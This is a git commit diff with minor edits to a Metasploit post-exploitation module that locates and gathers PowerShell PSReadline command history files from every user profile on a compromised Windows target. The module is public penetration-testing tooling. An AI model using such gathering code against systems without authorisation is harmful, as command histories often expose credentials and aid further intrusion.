Minor changes for psreadline_history

GSoC/Meterpreter_Web_Console
Wei Chen 2019-02-13 12:38:36 -06:00
parent b7dce68fc4
commit 366d060b5d
1 changed files with 19 additions and 19 deletions

View File

@ -6,12 +6,13 @@
require 'msf/core/post/windows/user_profiles'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather PSReadline history',
'Name' => 'Windows Gather PSReadline History',
'Description' => %q{
Gathers Power Shell history data from the target machine.
},
@ -31,10 +32,9 @@ class MetasploitModule < Msf::Post
def run
grab_user_profiles.each do |userprofile|
next if userprofile['AppData'] == nil
next if userprofile['AppData'].blank?
history_path = userprofile['AppData'] + "\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt"
stat = session.fs.file.stat(history_path) rescue nil
next if stat.nil?
next unless file?(history_path)
gather_psreadline_history(userprofile['UserName'], history_path)
end
end